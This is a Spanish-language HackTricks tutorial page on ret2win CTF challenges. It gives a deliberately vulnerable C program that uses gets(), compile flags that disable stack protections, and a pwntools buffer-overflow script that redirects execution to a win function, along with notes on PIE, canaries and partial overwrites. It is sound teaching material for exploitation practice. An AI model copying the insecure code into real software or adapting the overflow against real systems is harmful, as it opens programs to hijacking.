.. | ||
README.md | ||
ret2win-arm64.md |
Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
Los desafíos de Ret2win son una categoría popular en las competiciones de Capture The Flag (CTF), particularmente en tareas que involucran binary exploitation. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como win
, flag
, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la dirección de retorno en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
Ejemplo en C
Considera un programa simple en C con una vulnerabilidad y una función win
que pretendemos llamar:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Para compilar este programa sin protecciones de pila y con ASLR deshabilitado, puedes usar el siguiente comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF).-fno-stack-protector
: Desactiva las protecciones contra desbordamientos de pila.-z execstack
: Permite la ejecución de código en la pila.-no-pie
: Desactiva el ejecutable independiente de la posición para asegurar que la dirección de la funciónwin
no cambie.-o vulnerable
: Nombra el archivo de salidavulnerable
.
Python Exploit usando Pwntools
Para el exploit, utilizaremos pwntools, un poderoso marco CTF para escribir exploits. El script de exploit creará una carga útil para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Para encontrar la dirección de la función win
, puedes usar gdb, objdump o cualquier otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con objdump
, podrías usar:
objdump -d vulnerable | grep win
Este comando te mostrará el ensamblaje de la función win
, incluyendo su dirección de inicio.
El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la vulnerable_function
, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de win
. Cuando vulnerable_function
retorna, en lugar de regresar a main
o salir, salta a win
, y el mensaje se imprime.
Protecciones
- PIE debe estar deshabilitado para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna leak para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es
read
o similar, puedes hacer un Partial Overwrite de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una 1/16 de probabilidad (1 nibble) de obtener la dirección de retorno correcta. - Stack Canaries también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
Otros ejemplos y Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bits, sin ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits con ASLR, con una leak de la dirección binaria
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, sin ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, sin ASLR, doble pequeño desbordamiento, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección
fflush
con la función win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- El programa solo está validando el último byte de un número para verificar el tamaño de la entrada, por lo tanto, es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, da una leak de PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one para llamar a una función win
Ejemplo ARM64
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.